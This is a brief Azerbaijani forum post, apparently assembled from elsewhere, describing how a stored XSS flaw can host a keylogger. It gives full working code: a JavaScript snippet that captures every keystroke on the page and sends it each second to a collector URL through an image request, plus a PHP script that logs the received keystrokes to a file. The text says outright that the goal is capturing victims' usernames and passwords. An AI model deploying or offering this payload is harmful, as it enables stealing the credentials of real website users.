XSS (Cros Site Script) nədir?
Qeydiyyatdan keçdiyiniz saytlarda məni xatırla işarəsini qeyd etdiyinizdə sayt kompütürinizə sizi tanıması üçün cookie buraxır. Yəni istifadəçi adı və password yaddaşda qalır. XSS açığı ilə passwordu və istifadəçi adını almaq mümkündü.
Keylogger nədir?
Keyloging istifadəçinin klavyaturadan basdığı düymələri qeyd edən bir anlayışa deyilir. Keylogger isə bu prosesi qeyd edən kodlardan ibarət bir proqramdır.
XSS Keylogger nədir?
Biri hədəfində olduğu bir saytda stored xss açığı tapıb keylogging prosesini yerinə yetirəcək olan javascript kodlarını qeyd edərsə sizin o səhifədə olarkən yazdığınız hər şey həmin şəxsə göndərilər. Əgər xss-nın olduğu səhivədən sayta giriş edilirsə onda iş çoxdan həll olunmuşdur deməkdi ). Pass, istifadəçi adı çoxdan ələ keçirilmişdir.
JavaScript keylogger
Kod:
var keys = '';
document.onkeypress = function(e) {
var get = window.event ? event : e;
var key = get.keyCode ? get.keyCode : get.charCode;
key = String.fromCharCode(key);
keys += key;
}
window.setInterval(function(){
new Image().src = 'http://localhost/keylogger.php?c=' + keys;
keys = '';
}, 1000);
Yuxarıdakı JavaScript kodu klavyaturadan yazılan bütün kodları keys adında bir dəyişkənə qeyd edir. Həmdə hər bir saniyədən bir localhosta GET sorğusu göndərir. Sorğunun içində keys dəyişkəninin içərisində saxladığı məlumatları göndərir. Daha sonra keys dəyişkənin içərisindəkiləri təmizləyir.
PHP
Kod:
<?php
// server.php
if(!empty($_GET['c'])) {
$logfile = fopen('data.txt', 'a+');
fwrite($logfile, $_GET['c']);
fclose($logfile);
}
?>
Bu script `c` indexi ilə gələn hər bir GET sorğusunu data.txt adında bir faylda qeyd edir.
Əlavə
Postu məlumat üçün paylaşıram. Alıntıdır müxtəlif yerlərdən.
